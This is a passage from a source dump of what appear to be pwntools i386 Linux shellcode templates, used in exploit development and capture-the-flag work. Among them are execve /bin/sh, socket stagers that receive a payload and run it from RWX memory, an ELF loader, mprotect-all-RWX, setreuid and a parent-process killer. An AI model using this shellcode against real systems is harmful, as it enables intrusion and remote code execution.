    "content": "<%\n    from pwnlib.shellcraft import common\n    from pwnlib.shellcraft.i386.linux import fork, exit\n%>\n<%page args=\"\"/>\n<%docstring>\nAttempts to fork.  If the fork is successful, the parent exits.\n</%docstring>\n<%\ndont_exit = common.label('forkexit')\n%>\n    ${fork()}\n    cmp eax, 1\n    jl ${dont_exit}\n    ${exit(0)}\n${dont_exit}:\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/i386_to_amd64.asm",
    "content": "<%docstring>Returns code to switch from i386 to amd64 mode. Trashes eax.</%docstring>\n.code32\n    push 0x33 /*  This is the segment we want to go to */\n    /* \"db 0xff; sub al,0x24\" is \"jmp far [esp]\" by chance */\n    call $+4\n    sub al, 0x24\n.code64\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/killparent.asm",
    "content": "<%\n    from pwnlib.shellcraft.i386.linux import getppid, kill\n    from pwnlib.shellcraft.common import label\n%>\n<%docstring>\nKills its parent process until whatever the parent is (probably init)\ncannot be killed any longer.\n</%docstring>\n<%\n    killparent_loop = label('killparent')\n%>\n${killparent_loop}:\n    ${getppid()}\n    ${kill('eax')}\n    test eax, eax\n    jz ${killparent_loop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/loader.asm",
    "content": "<%\n    import pwnlib.shellcraft as sc\n    from pwnlib.shellcraft import common\n    from pwnlib.util.packing import unpack\n%>\n<%page args=\"address\"/>\n<%docstring>\nLoads a statically-linked ELF into memory and transfers control.\n\nArguments:\n    address(int): Address of the ELF as a register or integer.\n</%docstring>\n<%\nelf_magic = unpack(b'\\x7fELF')\ndie       = common.label('die')\nload_one  = common.label('load_one')\nnext_phdr = common.label('next_phdr')\n\"\"\"\nElf32_Ehdr\n    +0x0000 e_ident              : unsigned char [16]\n    +0x0010 e_type               : Elf32_Half\n    +0x0012 e_machine            : Elf32_Half\n    +0x0014 e_version            : Elf32_Word\n    +0x0018 e_entry              : Elf32_Addr\n    +0x001c e_phoff              : Elf32_Off\n    +0x0020 e_shoff              : Elf32_Off\n    +0x0024 e_flags              : Elf32_Word\n    +0x0028 e_ehsize             : Elf32_Half\n    +0x002a e_phentsize          : Elf32_Half\n    +0x002c e_phnum              : Elf32_Half\n    +0x002e e_shentsize          : Elf32_Half\n    +0x0030 e_shnum              : Elf32_Half\n    +0x0032 e_shstrndx           : Elf32_Half\n\nElf32_Phdr\n    +0x0000 p_type               : Elf32_Word\n    +0x0004 p_offset             : Elf32_Off\n    +0x0008 p_vaddr              : Elf32_Addr\n    +0x000c p_paddr              : Elf32_Addr\n    +0x0010 p_filesz             : Elf32_Word\n    +0x0014 p_memsz              : Elf32_Word\n    +0x0018 p_flags              : Elf32_Word\n    +0x001c p_align              : Elf32_Word\n\"\"\"\ne_entry  = 0x0018\ne_phoff  = 0x001c\ne_phnum  = 0x002c\ne_phentsize = 0x002a\np_type   = 0x0000\np_offset = 0x0004\np_vaddr  = 0x0008\np_filesz = 0x0010\np_memsz  = 0x0014\n\n\nPT_LOAD  = 1\n%>\n\n    ${sc.setregs({'esi': address})}\n\n    /* Check the ELF header */\n    mov  eax, dword ptr [esi]\n    cmp  eax, ${elf_magic}\n    jnz  ${die}\n\n    /* Discover program headers */\n    mov eax, esi\n    add eax, dword ptr ${e_phoff}\n    mov eax, [eax]\n    add eax, esi /* eax = &program headers */\n\n    mov ebx, esi\n    add ebx, ${e_phentsize}\n    movzx ebx, word ptr [ebx]  /* ebx = sizeof(program header) */\n\n    mov ecx, esi\n    add ecx, ${e_phnum}\n    movzx ecx, word ptr [ecx] /* ecx = # of program headers */\n\n1:\n    /* For each section header, mmap it to the desired address */\n    push esi\n    push ecx\n    push ebx\n    push eax\n    call ${load_one}\n    pop  eax\n    pop  ebx\n    pop  ecx\n    pop  esi\n    add  eax, ebx\n    loop 1b\n\n    /* Everything is loaded and RWX.  Find the entry point and call it */\n    mov eax, esi\n    add eax, ${e_entry}\n    mov eax, [eax]\n\n    /* Set up the fake stack.\n    /* AT_NULL */\n    xor ebx, ebx\n    push ebx\n    push ebx\n    /* AT_RANDOM */\n    push esp\n    push 25\n    /* AT_SECURE */\n    push ebx\n    push 23\n\n    push ebx /* envp */\n    push ebx /* argv */\n    push ebx /* argc */\n\n    /* Invoke the entry point */\n    jmp eax\n\n${load_one}:\n    push ebp\n    mov  ebp, esp\n\n    /* If it's not a PT_LOAD header, don't care */\n    mov ebx, eax\n    /* add ebx, ${p_type} == zero */\n    cmp dword ptr [ebx], ${PT_LOAD}\n    jnz ${next_phdr}\n\n    /* Get the destination address into edi */\n    mov edi, eax\n    add edi, ${p_vaddr}\n    mov edi, [edi]\n\n    /* Get the size to mmap into ebx */\n    mov ebx, eax\n    add ebx, ${p_memsz}\n    mov ebx, [ebx]\n    shr ebx, 12\n    inc ebx\n\n    /* We can't move the program break with brk(),\n       so we basically have to fake it.  Allocate\n       more space than we ever expect the heap to\n       need, by over-allocating space by 8x */\n    shl ebx, 12 + 4\n\n    /* Map the page in */\n    pushad\n    ${sc.mmap('edi', 'ebx', 'PROT_READ|PROT_WRITE|PROT_EXEC', 'MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED', 0, 0)}\n    /* Ignore failure */\n    popad\n\n    /* Get the source address into esi */\n    mov ebx, eax\n    add ebx, ${p_offset}\n    mov ebx, [ebx]\n    add esi, ebx\n\n    /* Get the number of bytes into ecx */\n    mov ecx, eax\n    add ecx, ${p_filesz}\n    mov ecx, [ecx]\n\n    /* Copy the data */\n    cld\n    rep movsb\n\n${next_phdr}:\n    mov esp, ebp\n    pop ebp\n    ret\n\n${die}:\n    ${sc.exit(1)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/loader_append.asm",
    "content": "<%\n    from pwnlib.shellcraft.i386.linux import loader\n    from pwnlib.shellcraft import common\n%>\n<%docstring>\nLoads a statically-linked ELF into memory and transfers control.\n\nSimilar to loader.asm but loads an appended ELF.\n\nArguments:\n    data(str): If a valid filename, the data is loaded from the named file.\n               Otherwise, this is treated as raw ELF data to append.\n               If ``None``, it is ignored.\n\nExample:\n\n    >>> payload = shellcraft.echo(b'Hello, world!\\n') + shellcraft.exit(0)\n    >>> payloadELF = ELF.from_assembly(payload)\n    >>> payloadELF.arch\n    'i386'\n    >>> loader = shellcraft.loader_append(payloadELF.data)\n    >>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)\n    >>> loaderELF.process().recvall()\n    b'Hello, world!\\n'\n\n</%docstring>\n<%page args=\"data = None\"/>\n<%\nelf_data = common.label('elf_data')\nload = common.label('load')\n%>\n    jmp ${elf_data}\n${load}:\n    pop eax\n    ${loader('eax')}\n${elf_data}:\n    call ${load}\n%if data:\n<%\nimport os\n\nif b'\\x00' not in data and os.path.isfile(data):\n    with open(data, 'rb') as f:\n        data = f.read()\n%>\n    ${'.string \"%s\"' % ''.join('\\\\x%02x' % c for c in bytearray(data))}\n%endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/mprotect_all.asm",
    "content": "<%\n    from pwnlib.shellcraft import common\n    from pwnlib.shellcraft import i386\n%>\n<%page args=\"clear_ebx = True, fix_null = False\"/>\n<%docstring>\n    Calls mprotect(page, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) for every page.\n\n    It takes around 0.3 seconds on my box, but your milage may vary.\n\n    Args:\n        clear_ebx(bool): If this is set to False, then the shellcode will assume that ebx has already been zeroed.\n        fix_null(bool): If this is set to True, then the NULL-page will also be mprotected at the cost of slightly larger shellcode\n</%docstring>\n<% label = common.label(\"mprotect_loop\") %>\n\n%if clear_ebx:\n    xor ebx, ebx\n%endif\n%if fix_null:\n    xor ecx, ecx\n%endif\n${label}:\n    ${i386.linux.syscall('SYS_mprotect', 'ebx', 'ecx', 'PROT_READ | PROT_WRITE | PROT_EXEC')}\n    ${i386.mov('ecx', 0x1000)}\n    add ebx, ecx\n    jnz ${label}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/pidmax.asm",
    "content": "<% from pwnlib.shellcraft.i386 import push, mov %>\n<% from pwnlib.shellcraft.i386.linux import syscall %>\n<% from pwnlib.shellcraft import common %>\n<%docstring>\nRetrieves the highest numbered PID on the system, according to\nthe sysctl kernel.pid_max.\n</%docstring>\n<%\nCTL_KERN=1\nKERN_PIDMAX=55\n\n\"\"\"\nstruct __sysctl_args {\n    int    *name;    /* integer vector describing variable */\n    int     nlen;    /* length of this vector */\n    void   *oldval;  /* 0 or address where to store old value */\n    size_t *oldlenp; /* available room for old value,\n                        overwritten by actual size of old value */\n    void   *newval;  /* 0 or address of new value */\n    size_t  newlen;  /* size of new value */\n};\n\"\"\"\n%>\n    push ebp\n    ${push(0xffff)}\n    mov  ebp, esp    /* ebp = oldval and frame pointer R*/\n    ${push(4)}\n    mov  eax, esp    /* eax = oldlenp */\n    ${push(CTL_KERN)}\n    ${push(KERN_PIDMAX)}\n    mov ecx, esp    /* ecx = name */\n    ${push(0)}      /* newlen */\n    ${push(0)}      /* newval */\n    ${push('eax')}  /* oldlenp */\n    ${push('ebp')}  /* oldval  */\n    ${push(2)}      /* nlen */\n    ${push('ecx')}  /* name */\n    ${syscall('SYS__sysctl', 'esp')}\n    mov esp, ebp\n    pop eax\n    pop ebp\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/readfile.asm",
    "content": "<% from pwnlib.shellcraft import i386 %>\n<%page args=\"path, dst = 'esi'\"/>\n<%docstring>\nArgs: [path, dst (imm/reg) = esi ]\n    Opens the specified file path and sends its content to the specified file descriptor.\n</%docstring>\n    /* Save destination */\n    ${i386.mov('edi', dst)}\n\n    ${i386.pushstr(path)}\n\n    ${i386.syscall('SYS_open', 'esp', 'O_RDONLY')}\n\n    /* Save file descriptor for later */\n    ${i386.mov('ebp', 'eax')}\n\n    ${i386.syscall('SYS_fstat', 'eax', 'esp')}\n\n    /* Get file size */\n    add esp, 20\n    mov esi, [esp]\n\n    ${i386.syscall('SYS_sendfile', 'edi', 'ebp', 0, 'esi')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/readn.asm",
    "content": "<%\n    from pwnlib.shellcraft.i386.linux import read\n    from pwnlib.shellcraft.i386 import setregs\n    from pwnlib.shellcraft import common\n%>\n<%page args=\"fd, buf, nbytes\"/>\n<%docstring>\nReads exactly nbytes bytes from file descriptor fd into the buffer buf.\n\nArguments:\n    fd(int): fd\n    buf(void): buf\n    nbytes(size_t): nbytes\n</%docstring>\n<%\nreadn_loop = common.label('readn_loop')\n%>\n    ${setregs({'ecx': buf, 'edx': nbytes})}\n${readn_loop}:\n    ${read(fd, 'ecx', 'edx')}\n    add ecx, eax\n    sub edx, eax\n    jnz ${readn_loop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/recvsize.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft import i386 %>\n<%docstring>\nRecives 4 bytes size field\nUseful in conjuncion with findpeer and stager\nArgs:\n    sock, the socket to read the payload from.\n    reg, the place to put the size (default ecx).\nLeaves socket in ebx\n</%docstring>\n<%page args=\"sock, reg='ecx'\"/>\n<%\n    recvsize = common.label(\"recvsize\")\n%>\n${recvsize}:\n    ${i386.linux.syscall('SYS_read', sock, 'esp', 4)}\n    pop ${reg}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/setregid.asm",
    "content": "<% from pwnlib.shellcraft import i386 %>\n<%page args=\"gid = 'egid'\"/>\n<%docstring>\nArgs: [gid (imm/reg) = egid]\n    Sets the real and effective group id.\n</%docstring>\n\n% if gid == 'egid':\n    /*  getegid */\n    ${i386.linux.syscall('SYS_getegid')}\n    ${i386.mov('ebx', 'eax')}\n% else:\n    ${i386.mov('ebx', gid)}\n% endif\n\n    /*  setregid(eax, eax) */\n    ${i386.linux.syscall('SYS_setregid', 'ebx', 'ebx')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/setresuid.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.i386 import mov, linux %>\n<%page args=\"ruid=None, euid=None, suid=None\"/>\n<%docstring>\nArgs: [ruid = geteuid(), euid = ruid, suid = ruid]\n    Sets real, effective and saved user ids to given values\n</%docstring>\n\n%if ruid is None:\n${linux.geteuid()}\n<% ruid = 'eax' %>\n%endif\n<%\n if euid is None: euid = ruid\n if suid is None: suid = ruid\n%>\n\n${linux.syscalls.setresuid(ruid, euid, suid)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/setreuid.asm",
    "content": "<% from pwnlib.shellcraft import i386 %>\n<%page args=\"uid = 'euid'\"/>\n<%docstring>\nArgs: [uid (imm/reg) = euid]\n    Sets the real and effective user id.\n</%docstring>\n\n% if uid == 'euid':\n    /*  geteuid */\n    ${i386.linux.syscall('SYS_geteuid')}\n    ${i386.mov('ebx', 'eax')}\n% else:\n    ${i386.mov('ebx', uid)}\n% endif\n\n    /*  setreuid(eax, eax) */\n    ${i386.syscall('SYS_setreuid', 'ebx', 'ebx')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/sh.asm",
    "content": "<% from pwnlib.shellcraft import i386 %>\n<%docstring>\nExecute a different process.\n\n    >>> p = run_assembly(shellcraft.i386.linux.sh())\n    >>> p.sendline(b'echo Hello')\n    >>> p.recv()\n    b'Hello\\n'\n\n</%docstring>\n${i386.linux.execve('/bin///sh', ['sh'], 0)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/socket.asm",
    "content": "<% from pwnlib.shellcraft.i386.linux import socketcall %>\n<% from pwnlib.constants import AF_INET, AF_INET6, SOCK_STREAM, SOCK_DGRAM, SYS_socketcall_socket %>\n<% from pwnlib.util.net import sockaddr %>\n<%page args=\"network = 'ipv4', proto = 'tcp'\"/>\n<%docstring>\nCreates a new socket\n</%docstring>\n<%\n    address_family = {'ipv4':AF_INET,'ipv6':AF_INET6}.get(network, network)\n%>\\\n    /* open new socket */\n    ${socketcall(SYS_socketcall_socket, address_family, SOCK_STREAM, 0)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/socketcall.asm",
    "content": "<% from pwnlib.shellcraft import common, pretty %>\n<% from pwnlib.shellcraft.i386 import push %>\n<% from pwnlib.shellcraft.i386.linux import syscall %>\n<% from pwnlib.constants import SYS_socketcall %>\n\n<%page args=\"socketcall, socket, sockaddr, sockaddr_len\"/>\n<%docstring>\nInvokes a socket call (e.g. socket, send, recv, shutdown)\n</%docstring>\n\n    /* socketcall(${pretty(socket,0)}, ${pretty(sockaddr,0)}, ${pretty(sockaddr_len,0)}) */\n    ${push(sockaddr_len)} /* socklen_t addrlen */\n    ${push(sockaddr)}     /* sockaddr *addr */\n    ${push(socket)}       /* sockfd */\n    ${syscall('SYS_socketcall', socketcall, 'esp')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/stage.asm",
    "content": "<%\nfrom pwnlib.shellcraft.i386 import push\nfrom pwnlib.shellcraft.i386.linux import read, readn, mmap\nfrom pwnlib import constants as C\n%>\n<%page args=\"fd=0, length=None\"/>\n<%docstring>\nMigrates shellcode to a new buffer.\n\nArguments:\n    fd(int):\n        Integer file descriptor to recv data from.\n        Default is stdin (0).\n    length(int):\n        Optional buffer length.  If None, the first pointer-width\n        of data received is the length.\n\nExample:\n\n    >>> p = run_assembly(shellcraft.stage())\n    >>> sc = asm(shellcraft.echo(\"Hello\\n\", constants.STDOUT_FILENO))\n    >>> p.pack(len(sc))\n    >>> p.send(sc)\n    >>> p.recvline()\n    b'Hello\\n'\n\n</%docstring>\n<%\n    protection = C.PROT_READ | C.PROT_WRITE | C.PROT_EXEC\n    flags      = C.MAP_ANONYMOUS | C.MAP_PRIVATE\n\n    assert isinstance(fd, int)\n%>\n%if length is None:\n    /* How many bytes should we receive? */\n    ${read(fd, 'esp', 4)}\n    pop  eax\n    push eax /* Save exact size */\n%else:\n    ${push(length)}\n%endif\n\n    /* Page-align */\n    shr  eax, 12\n    inc  eax\n    shl  eax, 12\n\n    /* Map it */\n    ${mmap(0, 'eax', protection, flags, 0, 0)}\n\n    /* Grab the saved size, save the address */\n    pop  ebx\n    push eax\n\n    /* Read in all of the data */\n    ${readn(fd, 'eax', 'ebx')}\n\n    /* Go to shellcode */\n    ret\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/stager.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.i386 import push, mov %>\n<% from pwnlib.shellcraft.i386.linux import syscall %>\n<% from pwnlib.constants import SYS_mmap2, PROT_EXEC, PROT_WRITE, PROT_READ, MAP_ANON, MAP_PRIVATE, SYS_read %>\n<%docstring>\nRecives a fixed sized payload into a mmaped buffer\nUseful in conjuncion with findpeer.\nArgs:\n    sock, the socket to read the payload from.\n    size, the size of the payload\n\nExample:\n\n    >>> stage_2 = asm(shellcraft.echo('hello') + \"\\n\" + shellcraft.syscalls.exit(42))\n    >>> p = run_assembly(shellcraft.stager(0, len(stage_2)))\n    >>> for c in bytearray(stage_2):\n    ...     p.write(bytearray((c,)))\n    >>> p.wait_for_close()\n    >>> p.poll()\n    42\n    >>> p.recvall()\n    b'hello'\n\n</%docstring>\n<%page args=\"sock, size, handle_error=False, tiny=False\"/>\n<%\n    stager = common.label(\"stager\")\n    looplabel = common.label(\"read_loop\")\n    errlabel  = common.label(\"error\")\n    mmap_size = (size + 0xfff) & ~0xfff\n    rwx       = PROT_EXEC | PROT_WRITE | PROT_READ\n    anon_priv = MAP_ANON | MAP_PRIVATE\n%>\n    ${push(sock)}\n${stager}:\n    ${mov('ebx', 0)}\n    ${syscall(SYS_mmap2, 'ebx', mmap_size, rwx, anon_priv, -1, 'ebx')}\n\n    pop  ebx /* socket */\n    push eax /* save for: pop eax; call eax later */\n\n/* read/recv loop */\n    mov ecx, eax\n    ${mov(\"edx\", size)}\n${looplabel}:\n    ${syscall(SYS_read, 'ebx', 'ecx', 'edx')}\n% if handle_error:\n    test eax, eax\n    js ${errlabel}\n% endif\n% if not tiny:\n    add ecx, eax /* increment destination pointer */\n    sub edx, eax /* decrement remaining amount */\n    jnz ${looplabel}\n% endif\n\n\tmov ebp, ebx\n    ret /* start of mmapped buffer, ebp = socket */\n\n% if handle_error:\n${errlabel}:\n    hlt\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/linux/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import i386, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import linux_i386_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n        >>> print(pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 1, 'esp', 2, 0).rstrip())\n            /* call execve(1, 'esp', 2, 0) */\n            push SYS_execve /* 0xb */\n            pop eax\n            push 1\n            pop ebx\n            mov ecx, esp\n            push 2\n            pop edx\n            xor esi, esi\n            int 0x80\n        >>> print(pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 2, 1, 0, 20).rstrip())\n            /* call execve(2, 1, 0, 0x14) */\n            push SYS_execve /* 0xb */\n            pop eax\n            push 2\n            pop ebx\n            push 1\n            pop ecx\n            push 0x14\n            pop esi\n            cdq /* edx=0 */\n            int 0x80\n        >>> print(pwnlib.shellcraft.i386.linux.syscall().rstrip())\n            /* call syscall() */\n            int 0x80\n        >>> print(pwnlib.shellcraft.i386.linux.syscall('eax', 'ebx', 'ecx').rstrip())\n            /* call syscall('eax', 'ebx', 'ecx') */\n            /* setregs noop */\n            int 0x80\n        >>> print(pwnlib.shellcraft.i386.linux.syscall('ebp', None, None, 1).rstrip())\n            /* call syscall('ebp', ?, ?, 1) */\n            mov eax, ebp\n            push 1\n            pop edx\n            int 0x80\n        >>> print(pwnlib.shellcraft.i386.linux.syscall(\n        ...               'SYS_mmap2', 0, 0x1000,\n        ...               'PROT_READ | PROT_WRITE | PROT_EXEC',\n        ...               'MAP_PRIVATE | MAP_ANONYMOUS',\n        ...               -1, 0).rstrip())\n            /* call mmap2(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE | MAP_ANONYMOUS', -1, 0) */\n            xor eax, eax\n            mov al, 0xc0\n            xor ebp, ebp\n            xor ebx, ebx\n            xor ecx, ecx\n            mov ch, 0x1000 >> 8\n            push -1\n            pop edi\n            push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */\n            pop edx\n            push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */\n            pop esi\n            int 0x80\n        >>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())\n            /* open(file='/home/pwn/flag', oflag=0, mode=0) */\n            /* push b'/home/pwn/flag\\x00' */\n            push 0x1010101\n            xor dword ptr [esp], 0x1016660\n            push 0x6c662f6e\n            push 0x77702f65\n            push 0x6d6f682f\n            mov ebx, esp\n            xor ecx, ecx\n            xor edx, edx\n            /* call open() */\n            push SYS_open /* 5 */\n            pop eax\n            int 0x80\n</%docstring>\n<%\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  registers = abi.register_arguments\n  arguments = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  regctx    = dict(zip(registers, arguments))\n%>\\\n    /* call ${syscall_repr} */\n%if any(a is not None for a in arguments):\n    ${i386.setregs(regctx)}\n%endif\n    int 0x80\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/memcpy.asm",
    "content": "<% from pwnlib.shellcraft import i386, pretty %>\n<%docstring>Copies memory.\n\nArgs:\n    dest: Destination address\n    src: Source address\n    n: Number of bytes\n</%docstring>\n<%page args=\"dest, src, n\"/>\n\n    /* memcpy(${pretty(dest)}, ${pretty(src)}, ${pretty(n)}) */\n    cld\n    ${i386.setregs({'edi': dest, 'esi': src, 'ecx': n})}\n    rep movsb\n\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/mov.asm",
    "content": "<%\n  from pwnlib.shellcraft import eval, pretty, okay\n  from pwnlib.util import lists, packing, fiddling, misc\n  from pwnlib.log import getLogger\n  from pwnlib.shellcraft.registers import get_register, is_register, bits_required\n  log = getLogger('pwnlib.shellcraft.i386.mov')\n%>\n<%page args=\"dest, src, stack_allowed = True\"/>\n<%docstring>\nMove src into dest without newlines and null bytes.\n\nIf the src is a register smaller than the dest, then it will be\nzero-extended to fit inside the larger register.\n\nIf the src is a register larger than the dest, then only some of the bits will\nbe used.\n\nIf src is a string that is not a register, then it will locally set\n`context.arch` to `'i386'` and use :func:`pwnlib.constants.eval` to evaluate the\nstring. Note that this means that this shellcode can change behavior depending\non the value of `context.os`.\n\nArgs:\n  dest (str): The destination register.\n  src (str): Either the input register, or an immediate value.\n  stack_allowed (bool): Can the stack be used?\n\nExample:\n\n    >>> print(shellcraft.i386.mov('eax','ebx').rstrip())\n        mov eax, ebx\n    >>> print(shellcraft.i386.mov('eax', 0).rstrip())\n        xor eax, eax\n    >>> print(shellcraft.i386.mov('ax', 0).rstrip())\n        xor ax, ax\n    >>> print(shellcraft.i386.mov('ax', 17).rstrip())\n        xor ax, ax\n        mov al, 0x11\n    >>> print(shellcraft.i386.mov('edi', ord('\\n')).rstrip())\n        push 9 /* mov edi, '\\n' */\n        pop edi\n        inc edi\n    >>> print(shellcraft.i386.mov('al', 'ax').rstrip())\n        /* moving ax into al, but this is a no-op */\n    >>> print(shellcraft.i386.mov('al','ax').rstrip())\n        /* moving ax into al, but this is a no-op */\n    >>> print(shellcraft.i386.mov('esp', 'esp').rstrip())\n        /* moving esp into esp, but this is a no-op */\n    >>> print(shellcraft.i386.mov('ax', 'bl').rstrip())\n        movzx ax, bl\n    >>> print(shellcraft.i386.mov('eax', 1).rstrip())\n        push 1\n        pop eax\n    >>> print(shellcraft.i386.mov('eax', 1, stack_allowed=False).rstrip())\n        xor eax, eax\n        mov al, 1\n    >>> print(shellcraft.i386.mov('eax', 0xdead00ff).rstrip())\n        mov eax, -0xdead00ff\n        neg eax\n    >>> print(shellcraft.i386.mov('edi', 0xc0).rstrip())\n        xor edi, edi\n        mov dil, 0xc0\n    >>> print(shellcraft.i386.mov('eax', 0xc000).rstrip())\n        xor eax, eax\n        mov ah, 0xc000 >> 8\n    >>> print(shellcraft.i386.mov('eax', 0xffc000).rstrip())\n        mov eax, 0x1010101\n        xor eax, 0x1010101 ^ 0xffc000\n    >>> print(shellcraft.i386.mov('edi', 0xc000).rstrip())\n        mov edi, (-1) ^ 0xc000\n        not edi\n    >>> print(shellcraft.i386.mov('edi', 0xf500).rstrip())\n        mov edi, 0x1010101\n        xor edi, 0x1010101 ^ 0xf500\n    >>> print(shellcraft.i386.mov('eax', 0xc0c0).rstrip())\n        xor eax, eax\n        mov ax, 0xc0c0\n    >>> print(shellcraft.i386.mov('eax', 'SYS_execve').rstrip())\n        push SYS_execve /* 0xb */\n        pop eax\n    >>> with context.local(os='freebsd'):\n    ...     print(shellcraft.i386.mov('eax', 'SYS_execve').rstrip())\n        push SYS_execve /* 0x3b */\n        pop eax\n    >>> print(shellcraft.i386.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip())\n        push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */\n        pop eax\n</%docstring>\n<%\nsrc_name = src\nif not isinstance(src, (str, tuple)):\n    src_name = pretty(src)\n\nif not get_register(dest):\n    log.error('%r is not a register' % dest)\n\ndest = get_register(dest)\n\nif dest.size > 32 or dest.is64bit:\n    log.error(\"cannot use %s on i386\" % dest)\n\nif get_register(src):\n    src = get_register(src)\n\n    if src.is64bit:\n        log.error(\"cannot use %s on i386\" % src)\n\n    if dest.size < src.size and src.name not in dest.bigger:\n        log.error(\"cannot mov %s, %s: dddest is smaller than src\" % (dest, src))\nelse:\n    src = eval(src)\n\n    if not dest.fits(src):\n        log.error(\"cannot mov %s, %r: dest is smaller than src\" % (dest, src))\n\n    src_size = bits_required(src)\n\n    # Calculate the packed version\n    mask = ((1<<32)-1)\n    masked = src & mask\n    srcp = packing.pack(masked, dest.size)\n\n    # Calculate the unsigned and signed versions\n    srcu = packing.unpack(srcp, dest.size, sign=False)\n    srcs = packing.unpack(srcp, dest.size, sign=True)\n\n    srcp_not = packing.pack(fiddling.bnot(masked))\n    srcp_neg = packing.pack(fiddling.negate(masked))\n    srcu_not = packing.unpack(srcp_not)\n    srcu_neg = packing.unpack(srcp_neg)\n%>\\\n% if is_register(src):\n    % if src == dest:\n    /* moving ${src} into ${dest}, but this is a no-op */\n    % elif src.name in dest.bigger:\n    /* moving ${src} into ${dest}, but this is a no-op */\n    % elif dest.size > src.size:\n    movzx ${dest}, ${src}\n    % else:\n    mov ${dest}, ${src}\n    % endif\n% elif isinstance(src, int):\n## Special case for zeroes\n    % if src == 0:\n        xor ${dest}, ${dest}\n## Special case for *just* a newline\n    % elif stack_allowed and dest.size == 32 and src == 10:\n        push 9 /* mov ${dest}, '\\n' */\n        pop ${dest}\n        inc ${dest}\n## Can we push/pop it?\n## This is shorter than a `mov` and has a better (more ASCII) encoding.\n## Note there are two variants for PUSH IMM32 and PUSH IMM8\n    % elif stack_allowed and dest.size == 32 and okay(srcp):\n        push ${pretty(src)}\n        pop ${dest}\n    % elif stack_allowed and dest.size == 32 and  -127 <= srcs < 128 and okay(srcp[:1]):\n        push ${pretty(src)}\n        pop ${dest}\n## Easy case, everybody is happy\n    % elif okay(srcp):\n        mov ${dest}, ${pretty(src)}\n## If it's an IMM8, we can use the 8-bit register\n    % elif 0 <= srcu < 2**8 and okay(srcp[:1]) and dest.sizes.get(8, 0):\n        xor ${dest}, ${dest}\n        mov ${dest.sizes[8]}, ${pretty(srcu)}\n## If it's an IMM16, but there's nothing in the lower 8 bits,\n## we can use the high-8-bits register.\n## However, we must check that it exists.\n    % elif srcu == (srcu & 0xff00) and okay(srcp[1:2]) and dest.ff00:\n        xor ${dest}, ${dest}\n        mov ${dest.ff00}, ${pretty(src)} >> 8\n## If it's an IMM16, use the 16-bit register\n    % elif 0 <= srcu < 2**16 and okay(srcp[:2]) and dest.sizes[16]:\n        xor ${dest}, ${dest}\n        mov ${dest.sizes[16]}, ${pretty(src)}\n## A few more tricks to try...\n    % elif okay(srcp_neg):\n        mov ${dest}, -${pretty(src)}\n        neg ${dest}\n    %elif okay(srcp_not):\n        mov ${dest}, (-1) ^ ${pretty(src)}\n        not ${dest}\n## We couldn't find a way to make things work out, so just do\n## the XOR trick.\n    % else:\n        <%\n        a,b = fiddling.xor_pair(srcp, avoid = '\\x00\\n')\n        a = '%#x' % packing.unpack(a, dest.size)\n        b = '%#x' % packing.unpack(b, dest.size)\n        %>\\\n        mov ${dest}, ${a}\n        xor ${dest}, ${a} ^ ${pretty(src)}\n    % endif\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/nop.asm",
    "content": "<%docstring>A single-byte nop instruction.</%docstring>\n    nop\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/prolog.asm",
